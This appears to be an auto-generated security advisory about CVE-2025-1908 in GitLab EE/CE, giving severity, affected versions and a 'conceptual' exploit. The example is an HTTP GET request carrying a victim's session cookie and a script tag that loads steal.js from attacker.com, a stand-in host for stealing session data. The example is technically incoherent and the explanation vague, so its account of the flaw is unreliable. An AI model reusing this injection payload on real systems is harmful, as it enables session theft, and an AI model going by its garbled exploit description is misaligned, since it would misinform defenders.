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CVE-2025-1908: GitLab EE/CE Vulnerability Leading to Potential User Tracking and Account Take-over

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Overview

The cybersecurity world has recently been rattled by the discovery of a new vulnerability, CVE-2025-1908, affecting GitLab EE/CE. This vulnerability has the potential to allow an attacker to monitor user browsing activity, and in extreme cases, take over their accounts. Given the extensive use of GitLab EE/CE across a broad range of industries, this vulnerability poses a substantial threat to data security and user privacy.

Vulnerability Summary

CVE ID: CVE-2025-1908
Severity: High (CVSS score 7.7)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

GitLab EE | 16.6 – 17.9.6, 17.10 – 17.10.4, 17.11 – 17.11.0
GitLab CE | 16.6 – 17.9.6, 17.10 – 17.10.4, 17.11 – 17.11.0

How the Exploit Works

The vulnerability exploits a flaw in the GitLab EE/CE codebase, which allows for session hijacking and user tracking. Once the attacker has this capability, they can monitor browsing activities to gather sensitive information, setting up for potential account take-over. This exploit relies on a network-based attack vector and requires user interaction to be successful.

Conceptual Example Code

Here is a conceptual example of how vulnerability might be exploited:

GET /victim/profile HTTP/1.1
Host: gitlab-vulnerable.example.com
Cookie: session_id=victim_session_id
{ "malicious_script": "<script src='http://attacker.com/steal.js'></script>" }

In this example, the attacker sends a specially crafted HTTP GET request to the GitLab server using the victim’s session ID. The malicious script embedded in the request is then executed, allowing the attacker to monitor the victim’s browsing activity or even take over their account.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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